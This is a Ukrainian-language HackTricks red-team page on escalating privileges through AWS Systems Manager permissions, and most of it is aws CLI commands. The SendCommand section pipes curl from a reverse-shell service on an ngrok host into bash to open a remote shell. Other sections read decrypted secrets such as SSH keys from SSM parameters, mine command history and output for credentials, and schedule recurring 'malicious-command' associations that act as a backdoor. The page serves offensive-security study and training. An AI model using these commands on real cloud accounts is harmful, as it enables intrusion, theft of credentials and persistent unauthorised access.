AWS - SSM Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

SSM

Для отримання додаткової інформації про SSM див.:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Зловмисник із дозволом ssm:SendCommand може виконувати команди на інстансах, де запущено Amazon SSM Agent, і компрометувати IAM Role, що працює всередині них.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Якщо ви використовуєте цю техніку для escalate privileges всередині вже скомпрометованого EC2 instance, ви можете просто перехопити rev shell локально за допомогою:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Потенційний вплив: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів, де працюють SSM Agents.

ssm:StartSession

Зловмисник з дозволом ssm:StartSession може ініціювати SSH-подібну сесію на інстансах, де запущено Amazon SSM Agent, і компрометувати IAM Role, що працює всередині.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Для початку сесії потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із запущеними SSM Agents.

Privesc до ECS

Коли ECS tasks працюють з увімкненим ExecuteCommand, користувачі з достатніми правами можуть використати ecs execute-command, щоб execute a command всередині контейнера.
Згідно з the documentation це робиться шляхом створення захищеного каналу між пристроєм, який ви використовуєте для ініціації команди “exec“ та цільовим контейнером за допомогою SSM Session Manager. (SSM Session Manager Plugin необхідний для цього)\ Тому, користувачі з ssm:StartSession зможуть get a shell inside ECS tasks з увімкненою цією опцією просто запустивши:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Можливий вплив: Прямий privesc до ECSIAM ролей, прикріплених до працюючих завдань з увімкненим ExecuteCommand.

ssm:ResumeSession

An attacker, який має дозвіл ssm:ResumeSession, може повторно відновити SSH-подібну сесію на інстансах, де працює Amazon SSM Agent, коли SSM session перебуває в стані disconnected, та компрометувати IAM Role яка працює всередині неї.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Потенційний вплив: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із SSM Agents, що працюють, але з відключеними сесіями.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Зловмисник з зазначеними дозволами зможе перерахувати SSM parameters та читати їх у відкритому вигляді. У цих параметрах часто можна знайти чутливу інформацію, таку як SSH keys або API keys.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Можливий вплив: Знайти конфіденційну інформацію в параметрах.

ssm:ListCommands

Атакувальник з цим дозволом може перерахувати всі надіслані commands та, можливо, знайти в них конфіденційну інформацію.

aws ssm list-commands

Потенційний вплив: Знаходження чутливої інформації в рядках команд.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Атакуючий з такими дозволами може перерахувати всі надіслані команди та читати вивід, який вони генерують, сподіваючись знайти в ньому чутливу інформацію.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Можливий вплив: Можливість виявлення конфіденційної інформації у виводі команд.

Використання ssm:CreateAssociation

Зловмисник з дозволом ssm:CreateAssociation може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на періодичне виконання через фіксований інтервал, що робить їх придатними для стійкої присутності, схожої на бекдор, без необхідності інтерактивних сесій.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Цей метод персистенції працює доти, поки EC2 instance керується Systems Manager, SSM agent запущено, і зловмисник має дозволи на створення associations. Він не вимагає інтерактивних сесій або явних дозволів ssm:SendCommand. Важливо: параметр --schedule-expression (наприклад, rate(30 minutes)) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть --schedule-expression — the association will execute once after creation.

Codebuild

Ви також можете використати SSM, щоб потрапити всередину проекту codebuild під час його побудови:

AWS - Codebuild Privesc

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks